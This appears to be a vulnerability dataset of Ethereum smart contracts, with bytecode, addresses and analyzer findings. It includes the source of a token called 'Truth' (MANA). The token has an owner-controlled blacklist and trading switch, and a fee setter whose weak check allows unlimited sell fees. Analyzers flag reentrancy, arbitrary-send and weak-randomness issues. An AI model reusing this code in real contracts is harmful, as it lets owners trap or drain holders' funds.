b4a5f8170bd5d9e69fb5d7a7fa9e4fdf9790509695505050505050565b600a8181548110611a4157fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611a78610e1c565b611aea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611af381611ce3565b50565b6000611b3883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e26565b905092915050565b600033905090565b600080831415611b5b5760009050611bc8565b6000828402905082848281611b6c57fe5b0414611bc3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806120116021913960400191505060405180910390fd5b809150505b92915050565b6000611c1083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ee6565b905092915050565b600080828401905083811015611c96576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006011424460405160200180838152602001828152602001925050506040516020818303038152906040528051906020012060001c81611cdd57fe5b06905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611d69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611feb6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000838311158290611ed3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e98578082015181840152602081019050611e7d565b50505050905090810190601f168015611ec55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611f92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611f57578082015181840152602081019050611f3c565b50505050905090810190601f168015611f845780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611f9e57fe5b049050809150509392505050565b5080546000825590600052602060002090810190611fca9190611fcd565b50565b5b80821115611fe6576000816000905550600101611fce565b509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220d72d4d662b3fee972be0ec8b078ccb181c272730cf2087a5df35448328d44e1a64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,357
0x87eC0922D6E258af2A9Ab6B8a19148A547BBC193
/* .................. .',,'... ... ..,',..............,''...............''.........''. ............''.. ........................ .................. 'kNNXd. .... ,OXNXl.......... .xXXXl. ......... .xXX0c. .. 'kXO, ..... ....:0XXO; ........................ .................. ,0MMMNl. .. .xWMMWd. ....... .oNWWMK: .... .....kMMMXo. . ,0MK; ..... .. 'OWWWWk. ....................... .................. ,0MNNWK:....lNNXWWo......... :XMOdXWO' .. ..... .OMWNWWk'. ,0MK; ....... .dWNxkWNo........................ .................. ,0M0d0M0' .:XWxkWWo........ ,OWK;.dWWd. ....... .kMXodNW0; ,0MK; ........cXWk.,0MX:. ..................... .................. ,0MK;cNWx.,0WO,dMMd. .. .. .dWNl. 'OMXc........ .kMNc.cKWKc;0MK; ...... ,KM0; .cXM0' ..................... .................. ,0MK,.dWNxkWK;.dWWo........lNMXxooo0WM0,..... . 'OMNc .;0WN0XMK; ..... .kWM0oooxXMWd. .................... .................. ,0MK; 'OWWWNl..dWWd...... ;KMNKKKK00XWWx. ..... 'kMNc ..'kWMMMK; ......oNWX00K0KKNMNc. ................... .................. ,0MK, .;KMWd. .dWWd.......kWNo......,OMNo.... . .OMNc.. .oXMMK; . ...:KM0;......cXM0; ................... .................. .cdl....;lc. ..;dd;.... .'ldc. . ... ,ddc. .... .cdo,.... .;odl' ... .:dd;. ......:dd;.. ................. ................... . ........ ........ . . ...... ...... ........ . .......... ..................... .................. .ldddddddddddddddd;....................................................................................... .................. 'dOO00000000OOOOOOc....................................................................................... ....................................... ..................................................................................... * Japanese Translatation - TRUTH * Buy - 4% * Sell - 4% * Look closely and you will find the truth */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MANA is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Truth"; string private constant _symbol = "MANA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 3; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 3; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5000000 * 10**9; uint256 public _maxWalletSize = 5000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610550578063dd62ed3e14610570578063ea1644d5146105b6578063f2fde38b146105d657600080fd5b8063a2a957bb146104cb578063a9059cbb146104eb578063bfd792841461050b578063c3c8cd801461053b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b411461047e57806398a5c315146104ab57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611964565b6105f6565b005b34801561020a57600080fd5b506040805180820190915260058152640a8e4eae8d60db1b60208201525b6040516102359190611a29565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a7e565b610695565b6040519015158152602001610235565b34801561027a57600080fd5b5060135461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611aaa565b6106ac565b3480156102f757600080fd5b506102bd60175481565b34801561030d57600080fd5b5060405160098152602001610235565b34801561032957600080fd5b5060145461028e906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611aeb565b610715565b34801561036957600080fd5b506101fc610378366004611b18565b610760565b34801561038957600080fd5b506101fc6107a8565b34801561039e57600080fd5b506102bd6103ad366004611aeb565b6107d5565b3480156103be57600080fd5b506101fc6107f7565b3480156103d357600080fd5b506101fc6103e2366004611b33565b61086b565b3480156103f357600080fd5b506102bd60155481565b34801561040957600080fd5b506102bd610418366004611aeb565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028e565b34801561045457600080fd5b506101fc610463366004611b18565b6108ad565b34801561047457600080fd5b506102bd60165481565b34801561048a57600080fd5b506040805180820190915260048152634d414e4160e01b6020820152610228565b3480156104b757600080fd5b506101fc6104c6366004611b33565b61090c565b3480156104d757600080fd5b506101fc6104e6366004611b4c565b61093b565b3480156104f757600080fd5b5061025e610506366004611a7e565b610995565b34801561051757600080fd5b5061025e610526366004611aeb565b60106020526000908152604090205460ff1681565b34801561054757600080fd5b506101fc6109a2565b34801561055c57600080fd5b506101fc61056b366004611b7e565b6109d8565b34801561057c57600080fd5b506102bd61058b366004611c02565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c257600080fd5b506101fc6105d1366004611b33565b610a79565b3480156105e257600080fd5b506101fc6105f1366004611aeb565b610aa8565b6000546001600160a01b031633146106295760405162461bcd60e51b815260040161062090611c3b565b60405180910390fd5b60005b81518110156106915760016010600084848151811061064d5761064d611c70565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068981611c9c565b91505061062c565b5050565b60006106a2338484610b92565b5060015b92915050565b60006106b9848484610cb6565b61070b843361070685604051806060016040528060288152602001611db6602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f2565b610b92565b5060019392505050565b6000546001600160a01b0316331461073f5760405162461bcd60e51b815260040161062090611c3b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078a5760405162461bcd60e51b815260040161062090611c3b565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107c857600080fd5b476107d28161122c565b50565b6001600160a01b0381166000908152600260205260408120546106a690611266565b6000546001600160a01b031633146108215760405162461bcd60e51b815260040161062090611c3b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108955760405162461bcd60e51b815260040161062090611c3b565b6611c37937e0800081116108a857600080fd5b601555565b6000546001600160a01b031633146108d75760405162461bcd60e51b815260040161062090611c3b565b601454600160a01b900460ff16156108ee57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109365760405162461bcd60e51b815260040161062090611c3b565b601755565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161062090611c3b565b600954821115806109785750600b548111155b61098157600080fd5b600893909355600a91909155600955600b55565b60006106a2338484610cb6565b6012546001600160a01b0316336001600160a01b0316146109c257600080fd5b60006109cd306107d5565b90506107d2816112ea565b6000546001600160a01b03163314610a025760405162461bcd60e51b815260040161062090611c3b565b60005b82811015610a73578160056000868685818110610a2457610a24611c70565b9050602002016020810190610a399190611aeb565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6b81611c9c565b915050610a05565b50505050565b6000546001600160a01b03163314610aa35760405162461bcd60e51b815260040161062090611c3b565b601655565b6000546001600160a01b03163314610ad25760405162461bcd60e51b815260040161062090611c3b565b6001600160a01b038116610b375760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610620565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610620565b6001600160a01b038216610c555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610620565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610620565b6001600160a01b038216610d7c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610620565b60008111610dde5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610620565b6000546001600160a01b03848116911614801590610e0a57506000546001600160a01b03838116911614155b156110eb57601454600160a01b900460ff16610ea3576000546001600160a01b03848116911614610ea35760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610620565b601554811115610ef55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610620565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3757506001600160a01b03821660009081526010602052604090205460ff16155b610f8f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610620565b6014546001600160a01b038381169116146110145760165481610fb1846107d5565b610fbb9190611cb7565b106110145760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610620565b600061101f306107d5565b6017546015549192508210159082106110385760155491505b80801561104f5750601454600160a81b900460ff16155b801561106957506014546001600160a01b03868116911614155b801561107e5750601454600160b01b900460ff165b80156110a357506001600160a01b03851660009081526005602052604090205460ff16155b80156110c857506001600160a01b03841660009081526005602052604090205460ff16155b156110e8576110d6826112ea565b4780156110e6576110e64761122c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112d57506001600160a01b03831660009081526005602052604090205460ff165b8061115f57506014546001600160a01b0385811691161480159061115f57506014546001600160a01b03848116911614155b1561116c575060006111e6565b6014546001600160a01b03858116911614801561119757506013546001600160a01b03848116911614155b156111a957600854600c55600954600d555b6014546001600160a01b0384811691161480156111d457506013546001600160a01b03858116911614155b156111e657600a54600c55600b54600d555b610a7384848484611473565b600081848411156112165760405162461bcd60e51b81526004016106209190611a29565b5060006112238486611ccf565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610691573d6000803e3d6000fd5b60006006548211156112cd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610620565b60006112d76114a1565b90506112e383826114c4565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133257611332611c70565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138657600080fd5b505afa15801561139a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113be9190611ce6565b816001815181106113d1576113d1611c70565b6001600160a01b0392831660209182029290920101526013546113f79130911684610b92565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611430908590600090869030904290600401611d03565b600060405180830381600087803b15801561144a57600080fd5b505af115801561145e573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061148057611480611506565b61148b848484611534565b80610a7357610a73600e54600c55600f54600d55565b60008060006114ae61162b565b90925090506114bd82826114c4565b9250505090565b60006112e383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166b565b600c541580156115165750600d54155b1561151d57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154687611699565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157890876116f6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a79086611738565b6001600160a01b0389166000908152600260205260409020556115c981611797565b6115d384836117e1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161891815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164682826114c4565b82101561166257505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168c5760405162461bcd60e51b81526004016106209190611a29565b5060006112238486611d74565b60008060008060008060008060006116b68a600c54600d54611805565b92509250925060006116c66114a1565b905060008060006116d98e87878761185a565b919e509c509a509598509396509194505050505091939550919395565b60006112e383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f2565b6000806117458385611cb7565b9050838110156112e35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610620565b60006117a16114a1565b905060006117af83836118aa565b306000908152600260205260409020549091506117cc9082611738565b30600090815260026020526040902055505050565b6006546117ee90836116f6565b6006556007546117fe9082611738565b6007555050565b600080808061181f606461181989896118aa565b906114c4565b9050600061183260646118198a896118aa565b9050600061184a826118448b866116f6565b906116f6565b9992985090965090945050505050565b600080808061186988866118aa565b9050600061187788876118aa565b9050600061188588886118aa565b905060006118978261184486866116f6565b939b939a50919850919650505050505050565b6000826118b9575060006106a6565b60006118c58385611d96565b9050826118d28583611d74565b146112e35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610620565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107d257600080fd5b803561195f8161193f565b919050565b6000602080838503121561197757600080fd5b823567ffffffffffffffff8082111561198f57600080fd5b818501915085601f8301126119a357600080fd5b8135818111156119b5576119b5611929565b8060051b604051601f19603f830116810181811085821117156119da576119da611929565b6040529182528482019250838101850191888311156119f857600080fd5b938501935b82851015611a1d57611a0e85611954565b845293850193928501926119fd565b98975050505050505050565b600060208083528351808285015260005b81811015611a5657858101830151858201604001528201611a3a565b81811115611a68576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9157600080fd5b8235611a9c8161193f565b946020939093013593505050565b600080600060608486031215611abf57600080fd5b8335611aca8161193f565b92506020840135611ada8161193f565b929592945050506040919091013590565b600060208284031215611afd57600080fd5b81356112e38161193f565b8035801515811461195f57600080fd5b600060208284031215611b2a57600080fd5b6112e382611b08565b600060208284031215611b4557600080fd5b5035919050565b60008060008060808587031215611b6257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9357600080fd5b833567ffffffffffffffff80821115611bab57600080fd5b818601915086601f830112611bbf57600080fd5b813581811115611bce57600080fd5b8760208260051b8501011115611be357600080fd5b602092830195509350611bf99186019050611b08565b90509250925092565b60008060408385031215611c1557600080fd5b8235611c208161193f565b91506020830135611c308161193f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb057611cb0611c86565b5060010190565b60008219821115611cca57611cca611c86565b500190565b600082821015611ce157611ce1611c86565b500390565b600060208284031215611cf857600080fd5b81516112e38161193f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d535784516001600160a01b031683529383019391830191600101611d2e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db057611db0611c86565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207052706edbd6353c4332304052fd30d62881cdb88ab1818ccf5b1fed1f84829764736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,358
0xfe3dd5859fe0656363119f080bae17e04c625103
